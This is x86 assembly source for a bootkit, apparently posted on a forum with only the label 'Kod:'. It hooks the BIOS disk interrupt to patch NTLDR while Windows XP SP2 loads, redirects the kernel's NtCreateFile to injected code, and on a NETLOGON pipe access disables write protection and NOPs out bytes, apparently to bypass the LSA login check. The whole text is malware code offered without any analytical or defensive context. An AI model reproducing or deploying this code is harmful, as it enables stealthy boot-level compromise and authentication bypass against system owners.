Kod:
; [1]
TEMP_STACK equ 0x3000
BOOTCODE_ADDR equ 0x4000-0x200
MBR_ADDR equ 0x7C00
INT13_ADDR equ 13h * 4
[bits 16]
[org BOOTCODE_ADDR]
start:
jmp 0:MBR_ADDR+5
; [2]
mov cx, TEMP_STACK
mov ss, cx
xor cx, cx
mov sp, cx
mov ds, cx
mov es, cx
; [3]
pushad
mov ax, 0201h
inc ecx
cwd
mov bx, BOOTCODE_ADDR
int 13h
jmp _HOOK_INTERRUPT_GOTO_MBR - MBR_ADDR + BOOTCODE_ADDR
_HOOK_INTERRUPT_GOTO_MBR:
; [4]
mov ax, 0201h
or dl, 10000000b
mov bh, (MBR_ADDR>>8)
int 13h
; [5]
mov eax, [INT13_ADDR]
mov [INT13HANDLER], eax
mov dword [INT13_ADDR], @INT13HOOK_OFF
; [6]
popad
jmp MBR_ADDR
NT_CREATE_FILE_HOOK_START equ $
@NtCreateFileHook:
pushfd
pushad
mov eax, [esp+030h]
mov eax, [eax+8]
cmp word [eax], 34
jnz _LeaveTheHook
mov edi, dword 0
_DosStubHookAddr equ $-4
add edi, _SearchedLsaString - NT_CREATE_FILE_HOOK_END
mov esi, [eax+4]
mov ecx, NT_CREATE_FILE_HOOK_END - _SearchedLsaString
repe cmpsb
test ecx, ecx
jnz _LeaveTheHook
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
mov word [077C699B9h], 9090h
push eax
mov eax, CR0
or eax, 10000h
mov CR0, eax
pop eax
mov eax, 0xC0DEC0DE
_NtCreateFileSyscallAddrFirst equ $-4
mov dword [eax], 08B55FF8Bh
mov byte [eax+4], 0ECh
_LeaveTheHook:
popad
popf
push ebp
mov ebp, esp
push dword 0xDEADBEEF
_NtCreateFileSyscallAddrSecond equ $-4
add dword [esp], 5
ret
_SearchedLsaString db '\',0,'?',0,'?',0,'\',0,'P',0,'I',0,'P',0,'E',0,'\',0,'N',0,'E',0,'T',0,'L',0,'O',0,'G',0,'O',0,'N',0,0,0
NT_CREATE_FILE_HOOK_END equ $
GetExportedFuncAddr:
xor eax, eax
mov ecx, [ebx+3Ch] ; RVA of PE header
mov ebp, [ebx+ecx+78h] ; RVA of export directory
add ebp, ebx ; ptr to export directory
xor ecx, ecx ; iterator
mov edx, [ebp+1Ch] ; IMAGE_EXPORT_DIRECTORY::AddressOfFunctions
mov edi, [ebp+20h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNames
mov eax, [ebp+24h] ; IMAGE_EXPORT_DIRECTORY::AddressOfNameOrdinals
; turn these values into VAs
add edi, ebx
add edx, ebx
add eax, ebx
@search_loop:
mov esi, [edi+4*ecx] ; get the current function's name
add esi, ebx ; and make a virtual address from it
cmp ecx, [ebp+18h] ; check if there are no more functions exported
jge _retloc
inc ecx
cmp dword [esi], 07243744eh ; "NtCr"
jnz @search_loop
cmp dword [esi+4], 065746165h ; "eate"
jnz @search_loop
cmp dword [esi+8], 0656c6946h ; "File"
jnz @search_loop
dec ecx ; ecx <--- function ID in export table
movzx eax, word [eax+ecx*2] ; eax <--- function ordinal
mov eax, dword [edx+eax*4] ; eax <--- function address
add eax, ebx
_retloc:
ret
@INT13HOOK_OFF equ $
@Int13Hook:
cli
pushf
cmp ah, 42h ; IBM/MS INT 13 Extensions - EXTENDED READ
je short @Int13Hook_ReadRequest
cmp ah, 02h ; DISK - READ SECTOR(S) INTO MEMORY
je short @Int13Hook_ReadRequest
popf
db 0EAh ; JMP FAR INT13HANDLER
INT13HANDLER EQU $
dd 0
@Int13Hook_ReadRequest:
mov [cs:INT13LASTFUNCTION], ah
;
; Invoke original handler to perform read operation
;
popf
pushf ; push Flags because we're simulating an INT
call far [cs:INT13HANDLER] ; call original handler
jc short @Int13Hook_ret ; abort immediately if read failed
pushf
cli
push es
pusha
;
; Adjust registers to emulate an AH=02h read if AH=42h was used
;
mov ah, 00h
INT13LASTFUNCTION EQU $-1
cmp ah, 42h
jne short @Int13Hook_notextread
lodsw
lodsw ; 02h WORD number of blocks to transfer
les bx, [si] ; 04h DWORD transfer buffer
@Int13Hook_notextread:
;
; Scan sector for a signature of the code we want to modify
;
test al, al
jle short @Int13Hook_scan_done
cld
mov cl, al
mov al, 8Bh
shl cx, 9 ; (AL * 200h)
mov di, bx
@Int13Hook_scan_loop:
; 8B F0 MOV ESI, EAX
; 85 F6 TEST ESI, ESI
; 74 21 JZ $+23h
; 80 3D ... CMP BYTE PTR [ofs32], imm8
; (the first 6 bytes of this signature exist in other modules!)
repne scasb
jne short @Int13Hook_scan_done
; NOTE!
; The patched NTLDR code is placed at 0x422a6f
; on the up-to-date Windows XP SP2 version.
cmp dword [es:di], 74F685F0h
jne short @Int13Hook_scan_loop
cmp word [es:di+4], 8021h
jne short @Int13Hook_scan_loop
mov word [es:di-1], 15FFh ; FFh/15h: CALL NEAR [ofs32]
mov dword [es:di+1], @SyscallHookAddr
@Int13Hook_scan_done:
popa
pop es
popf
@Int13Hook_ret:
retf 2 ; discard saved Flags from original INT (pass back CF, etc.)
@SyscallHookAddr dd @HookSyscall
@HookSyscall:
pushfd
pushad
cld
mov edi, [esp+24h]
and edi, 0FFF00000h
mov al, 0C7h
@PatchFunction_mlsigloop:
scasb
jne short @PatchFunction_mlsigloop
cmp dword [edi], 40003446h
jne short @PatchFunction_mlsigloop
mov al, 0A1h
@PatchFunction_mlbaseloop:
scasb
jne short @PatchFunction_mlbaseloop
mov esi, [edi]
mov esi, [esi]
lodsd
mov ebx, [eax+18h]
call GetExportedFuncAddr
mov dword [_NtCreateFileSyscallAddrFirst], eax
mov dword [_NtCreateFileSyscallAddrSecond], eax
add ebx, 40h
mov dword [_DosStubHookAddr] , ebx
mov byte [eax], 0E9h
inc eax
mov ecx, eax
neg ecx
lea edx, [ebx+ecx-5+1]
mov dword [eax], edx
mov edi, ebx ; edi
mov esi, NT_CREATE_FILE_HOOK_START
mov ecx, NT_CREATE_FILE_HOOK_END - NT_CREATE_FILE_HOOK_START
rep movsb
popad
popf
mov esi, eax
test eax, eax
jnz _no_cond_jmp
_cond_jmp:
add dword [esp], 21h
_no_cond_jmp:
Ret